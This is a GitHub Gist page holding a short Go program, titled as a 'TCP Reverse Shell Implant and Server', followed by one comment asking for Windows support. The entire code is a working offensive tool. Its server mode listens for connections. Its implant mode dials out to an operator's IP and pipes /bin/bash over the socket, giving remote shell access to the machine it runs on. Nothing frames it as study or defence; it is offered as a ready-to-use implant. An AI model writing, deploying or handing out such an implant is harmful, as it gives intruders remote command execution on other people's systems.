Last active
June 6, 2022 08:15
-
-
Save robleh/28234d9fe40e9baa1787396c7ad54350 to your computer and use it in GitHub Desktop.
Simple Golang TCP Reverse Shell Implant and Server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"io" | |
"log" | |
"net" | |
"os" | |
"os/exec" | |
) | |
func Listen(i, p *string) { | |
sock := *i + ":" + *p | |
l, err := net.Listen("tcp", sock) | |
if nil != err { | |
log.Fatalf("Could not bind to interface: %v", err) | |
} | |
defer l.Close() | |
log.Println("Listening on", l.Addr()) | |
for { | |
c, err := l.Accept() | |
if nil != err { | |
log.Fatalf("Could not accept connection: %v", err) | |
} | |
log.Println("Accepted connection from", c.RemoteAddr()) | |
go io.Copy(c, os.Stdin) | |
go io.Copy(os.Stdout, c) | |
} | |
} | |
func Connect(i, p *string) { | |
log.Println("Starting reverse shell") | |
sock := *i + ":" + *p | |
c, err := net.Dial("tcp", sock) | |
if nil != err { | |
log.Fatalf("Could not open TCP connection: %v", err) | |
} | |
defer c.Close() | |
log.Println("TCP connection established") | |
cmd := exec.Command("/bin/bash") | |
cmd.Stdin = c | |
cmd.Stdout = c | |
cmd.Stderr = c | |
cmd.Run() | |
} | |
func main() { | |
p := flag.String("p", "4444", "Port") | |
l := flag.String("l", "", "Listen interface IP") | |
c := flag.String("c", "", "Connect IP") | |
flag.Parse() | |
if *l != "" { | |
Listen(l, p) | |
} else { | |
Connect(c, p) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Need to add windows shell